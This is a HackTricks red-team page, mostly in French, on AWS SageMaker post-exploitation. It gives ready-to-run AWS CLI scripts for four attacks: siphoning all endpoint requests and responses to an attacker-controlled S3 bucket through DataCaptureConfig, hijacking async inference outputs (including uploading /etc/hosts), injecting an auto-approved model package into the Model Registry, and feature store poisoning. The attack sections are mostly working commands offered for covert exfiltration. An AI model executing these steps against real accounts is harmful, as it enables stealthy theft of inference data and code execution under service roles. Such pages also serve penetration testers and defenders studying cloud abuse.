AWS - SageMaker Post-Exploitation

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Siphonnage des données d’un endpoint SageMaker via UpdateEndpoint DataCaptureConfig

Exploiter la gestion des endpoints SageMaker pour activer la capture complète des requêtes/réponses vers un bucket S3 contrôlé par l’attaquant, sans toucher au modèle ni au container. Utilise une mise à jour rolling à zéro ou faible temps d’arrêt et nécessite uniquement les permissions de gestion d’endpoint.

Exigences

  • IAM: sagemaker:DescribeEndpoint, sagemaker:DescribeEndpointConfig, sagemaker:CreateEndpointConfig, sagemaker:UpdateEndpoint
  • S3: s3:CreateBucket (ou utiliser un bucket existant dans le même compte)
  • Optionnel (si utilisation de SSE‑KMS): kms:Encrypt sur la CMK choisie
  • Cible : un endpoint InService temps réel existant dans le même compte/région

Étapes

  1. Identifier un endpoint InService et récupérer les variants de production actuels
REGION=${REGION:-us-east-1}
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
echo "Endpoint=$EP"
CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
echo "EndpointConfig=$CFG"
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
  1. Préparer la destination S3 de l’attaquant pour les captures
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-capture-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
  1. Créez un nouvel EndpointConfig qui conserve les mêmes variants mais active DataCapture vers le bucket de l’attaquant

Note : Utilisez des types de contenu explicites qui satisfont la validation de la CLI.

NEWCFG=${CFG}-dc
cat > /tmp/dc.json << JSON
{
"EnableCapture": true,
"InitialSamplingPercentage": 100,
"DestinationS3Uri": "s3://$BUCKET/capture",
"CaptureOptions": [
{"CaptureMode": "Input"},
{"CaptureMode": "Output"}
],
"CaptureContentTypeHeader": {
"JsonContentTypes": ["application/json"],
"CsvContentTypes": ["text/csv"]
}
}
JSON
aws sagemaker create-endpoint-config \
--region $REGION \
--endpoint-config-name "$NEWCFG" \
--production-variants file:///tmp/pv.json \
--data-capture-config file:///tmp/dc.json
  1. Appliquer la nouvelle configuration avec une mise à jour progressive (temps d’arrêt minimal / nul)
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
  1. Générer au moins un appel d’inférence (optionnel si du trafic en direct est présent)
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
--content-type application/json --accept application/json \
--body fileb:///tmp/payload.json /tmp/out.bin || true
  1. Valider les captures dans le S3 de l’attaquant
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize

Impact

  • Exfiltration complète des payloads de requêtes et de réponses d’inférence en temps réel (et des métadonnées) depuis l’endpoint ciblé vers un bucket S3 contrôlé par l’attaquant.
  • Aucun changement à l’image model/container et seulement des modifications au niveau endpoint, permettant une voie de vol de données discrète avec une perturbation opérationnelle minimale.

SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig

Abuser de la gestion des endpoints pour rediriger les sorties d’inférence asynchrone vers un bucket S3 contrôlé par l’attaquant en clonant l’EndpointConfig actuel et en configurant AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. This exfiltrates model predictions (and any transformed inputs included by the container) without modifying the model/container.

Requirements

  • IAM: sagemaker:DescribeEndpoint, sagemaker:DescribeEndpointConfig, sagemaker:CreateEndpointConfig, sagemaker:UpdateEndpoint
  • S3: Possibilité d’écrire dans le bucket S3 contrôlé par l’attaquant (via le model execution role ou une policy de bucket permissive)
  • Target: An InService endpoint where asynchronous invocations are (or will be) used

Steps

  1. Récupérer les ProductionVariants actuels depuis l’endpoint ciblé
REGION=${REGION:-us-east-1}
EP=<target-endpoint-name>
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
  1. Créez un attacker bucket (assurez-vous que le rôle d’exécution du modèle peut PutObject sur celui-ci)
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION || true
  1. Clone EndpointConfig et hijack les sorties AsyncInference vers l’attacker bucket
NEWCFG=${CUR_CFG}-async-exfil
cat > /tmp/async_cfg.json << JSON
{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}}
JSON
aws sagemaker create-endpoint-config --region $REGION   --endpoint-config-name "$NEWCFG"   --production-variants file:///tmp/pv.json   --async-inference-config file:///tmp/async_cfg.json
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
  1. Déclencher une async invocation et vérifier que les objets sont déposés dans le S3 de l’attaquant
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
sleep 30
aws s3 ls s3://$BUCKET/async-out/ --recursive || true
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true

Impact

  • Redirige les résultats d’inférence asynchrone (et les corps d’erreur) vers un S3 contrôlé par l’attaquant, permettant l’exfiltration clandestine des prédictions et des entrées pré/post-traitées potentiellement sensibles produites par le conteneur, sans modifier le code ou l’image du modèle et avec un temps d’arrêt minimal/aucun.

SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)

Si un attaquant peut exécuter CreateModelPackage sur un SageMaker Model Package Group ciblé, il peut enregistrer une nouvelle version du modèle pointant vers une image de conteneur contrôlée par l’attaquant et la marquer immédiatement comme Approved. De nombreux pipelines CI/CD déploient automatiquement les versions de modèle Approved vers des endpoints ou des training jobs, ce qui entraîne l’exécution de code malveillant sous les rôles d’exécution du service. L’exposition inter-comptes peut être amplifiée par une politique de ressource ModelPackageGroup permissive.

Requirements

  • IAM (minimum to poison an existing group): sagemaker:CreateModelPackage on the target ModelPackageGroup
  • Optional (to create a group if one doesn’t exist): sagemaker:CreateModelPackageGroup
  • S3: Read access to referenced ModelDataUrl (or host attacker-controlled artifacts)
  • Target: A Model Package Group that downstream automation watches for Approved versions

Steps

  1. Set region and create/find a target Model Package Group
REGION=${REGION:-us-east-1}
MPG=victim-group-$(date +%s)
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
  1. Préparer des données de modèle factices dans S3
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
head -c 1024 </dev/urandom > /tmp/model.tar.gz
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
  1. Enregistrer une version Approved d’un model package malveillante (ici bénigne) faisant référence à une image publique AWS DLC
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
cat > /tmp/inf.json << JSON
{
"Containers": [
{
"Image": "$IMG",
"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz"
}
],
"SupportedContentTypes": ["text/csv"],
"SupportedResponseMIMETypes": ["text/csv"]
}
JSON
aws sagemaker create-model-package --region $REGION   --model-package-group-name $MPG   --model-approval-status Approved   --inference-specification file:///tmp/inf.json
  1. Vérifier que la nouvelle version approuvée existe
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table

Impact

  • Empoisonner le Model Registry avec une version Approved qui référence du code contrôlé par l’attaquant. Les pipelines qui déploient automatiquement les modèles Approved peuvent pull et exécuter l’image de l’attaquant, entraînant une exécution de code avec les rôles endpoint/training.
  • Avec une politique de ressource permissive sur ModelPackageGroup (PutModelPackageGroupPolicy), cet abus peut être déclenché cross-account.

Feature store poisoning

Abuser de sagemaker:PutRecord sur un Feature Group avec OnlineStore activé pour écraser des valeurs de features en direct consommées par l’inference en ligne. Combiné avec sagemaker:GetRecord, un attaquant peut lire des features sensibles. Cela ne nécessite pas d’accès aux modèles ou aux endpoints.

{{#ref}} feature-store-poisoning.md {{/ref}}

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks